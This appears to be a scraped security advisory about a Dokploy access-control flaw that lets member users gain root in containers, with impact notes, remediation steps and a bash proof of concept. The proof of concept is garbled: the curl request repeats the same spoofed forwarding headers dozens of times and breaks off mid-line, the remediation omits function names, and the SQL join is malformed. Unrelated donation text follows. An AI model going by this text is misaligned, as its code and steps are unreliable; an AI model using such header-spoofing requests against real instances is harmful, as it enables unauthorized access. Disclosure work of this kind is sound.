Dokploy Broken Access Control on WebSocket Allows Root in Containers

Vulnerability Overview Dokploy Broken Access Control on docker-container-terminal WebSocket (Member -> Root in Arbitrary Containers) Vulnerability Type: Privilege Escalation (Broken Access Control) Affected Versions: v0.29.8 Fixed Versions: v0.29.13 Severity: High (CVSS v3.1 Score: 9.9/10) Description: The WebSocket endpoint in Dokploy suffers from an access control vulnerability. This endpoint allows any authenticated user (including those with the member role) to gain root privileges in arbitrary containers, thereby leaking platform database credentials, secrets, and tenant isolation information. Impact Scope Privilege Escalation: Member roles can be escalated to root privileges in arbitrary containers. Data Disclosure: Platform database credentials, application secrets, and host configuration files can be read. Cross-Tenant Access: Code and secrets of other tenants can be accessed by providing container IDs belonging to other tenants. Persistence: Obtaining root privileges in the Dokploy server container allows reading sensitive files and modifying platform functionalities. Reachability: This vulnerability exists in every multi-user Dokploy instance and does not require administrator access. Remediation 1. Require Container Ownership Verification: Address calls targeting containers to Dokploy services/applications by invoking the existing function. 2. Restrict Terminal by Role: Ensure that the caller has the permission granted (basic member roles should not be able to execute arbitrary containers). 3. Do Not Trust Container IDs: Map and scope it via . 4. Consider Local Branches: Check if local branches should exist across all multi-tenant instances; if so, restrict them to the caller's organization. POC Code ```bash Test URL test URL=http://localhost:3000 ORIGIN=http://170.78.98.232:3000 MJAR=/tmp/wss1_member.jar OJAR=/tmp/dokploy_cookies.txt Run the target container using Docker docker run --name dokploy-poc -d dokploy/dokploy:canary Up about an hour (healthy) docker run --name dokploy-pg -d postgres:16-alpine Up 2 hours Check Dokploy version docker exec dokploy-poc sh -c 'grep -m1 version /app/package.json' "version": "v0.29.8", Check roles in the database docker exec dokploy-pg psql -U dokploy -d dokploy -c \ "select u.email, m.role, n.organization_id from \"User\" u join member m on u.user_id = u.id \ where u.email in ('member@poc.local', 'admin@poc.local') order by u.email;" email admin@poc.local member@poc.local (2 rows) Attempt to access protected resources curl -v -b $OJAR -X POST \ -H 'Content-Type: application/json' \ -H 'Origin: $ORIGIN' \ -H 'Referer: $ORIGIN/' \ -H 'X-Forwarded-Proto: https' \ -H 'X-Forwarded-Port: 443' \ -H 'X-Forwarded-Host: $ORIGIN' \ -H 'X-Forwarded-For: 127.0.0.1' \ -H 'X-Forwarded-Server: $ORIGIN' \ -H 'X-Real-IP: 127.0.0.1' \ -H 'X-Forwarded-Proto: https' \ -H 'X-Forwarded-Port: 443' \ -H 'X-Forwarded-Host: $ORIGIN' \ -H 'X-Forwarded-For: 127.0.0.1' \ -H 'X-Forwarded-Server: $ORIGIN' \ -H 'X-Real-IP: 127.0.0.1' \ -H 'X-Forwarded-Proto: https' \ -H 'X-Forwarded-Port: 443' \ -H 'X-Forwarded-Host: $ORIGIN' \ -H 'X-Forwarded-For: 127.0.0.1' \ -H 'X-Forwarded-Server: $ORIGIN' \ -H 'X-Real-IP: 127.0.0.1' \ -H 'X-Forwarded-Proto: https' \ -H 'X-Forwarded-Port: 443' \ -H 'X-Forwarded-Host: $ORIGIN' \ -H 'X-Forwarded-For: 127.0.0.1' \ -H 'X-Forwarded-Server: $ORIGIN' \ -H 'X-Real-IP: 127.0.0.1' \ -H 'X-Forwarded-Proto: https' \ -H 'X-Forwarded-Port: 443' \ -H 'X-Forwarded-Host: $ORIGIN' \ -H 'X-Forwarded-For: 127.0.0.1' \ -H 'X-Forwarded-Server: $ORIGIN' \ -H 'X-Real-IP: 127.0.0.1' \ -H 'X-Forwarded-Proto: https' \ -H 'X-Forwarded-Port: 443' \ -H 'X-Forwarded-Host: $ORIGIN' \ -H 'X-Forwarded-For: 127.0.0.1' \ -H 'X-Forwarded-Server: $ORIGIN' \ -H 'X-Real-IP: 127.0.0.1' \ -H 'X-Forwarded-Proto: https' \ -H 'X-Forwarded-Port: 443' \ -H 'X-Forwarded-Host: $ORIGIN' \ -H 'X-Forwarded-For: 127.0.0.1' \ -H 'X-Forwarded-Server: $ORIGIN' \ -H 'X-Real-IP: 127.0.0.1' \ -H 'X-Forwarded-Proto: https' \ -H 'X-Forwarded-Port: 443' \ -H 'X-Forwarded-Host: $ORIGIN' \ -H 'X-Forwarded-For: 127.0.0.1' \ -H 'X-Forwarded-Server: $ORIGIN' \ -H 'X-Real-IP: 127.0.0.1' \ -H 'X-Forwarded-Proto: https' \ -H 'X-Forwarded-Port: 443' \ -H 'X-Forwarded-Host: $ORIGIN' \ -H 'X-Forwarded-For: 127.0.0.1' \ -H 'X-Forwarded-Server: $ORIGIN' \ -H 'X-Real-IP: 127.0.0.1' \ -H 'X-Forwarded-Proto: https' \ -H 'X-Forwarded-Port: 443' \ -H 'X-Forwarded-Host: $ORIGIN' \ -H 'X-Forwarded-For: 127.0.0.1' \ -H 'X-Forwarded-Server: $ORIGIN' \ -H 'X-Real-IP: 127.0.0.1' \ -H 'X-Forwarded-Proto: https' \ -H 'X-Forwarded-Port: 443' \ -H 'X-Forwarded-Host: $ORIGIN' \ -H 'X-Forwarded-For: 127.0.0.1' \ -H 'X-Forwarded-Server: $ORIGIN' \ -H 'X-Real-IP: 127.0.0.1' \ -H 'X-Forwarded-Proto: https' \ -H 'X-Forwarded-Port: 443' \ -H 'X-Forwarded-Host: $ORIGIN' \ -H 'X-Forwarded-For: 127.0.0.1' \ -H 'X-Forwarded-Server: $ORIGIN' \ -H 'X-Real-IP: 127.0.0.1' \ -H 'X-Forwarded-Proto: https' \ -H 'X-Forwarded-Port: 443' \ -H 'X-Forwarded-Host:

Goal Reached Thanks to every supporter — we hit 100%!

Dokploy Broken Access Control on WebSocket Allows Root in Containers

More from this source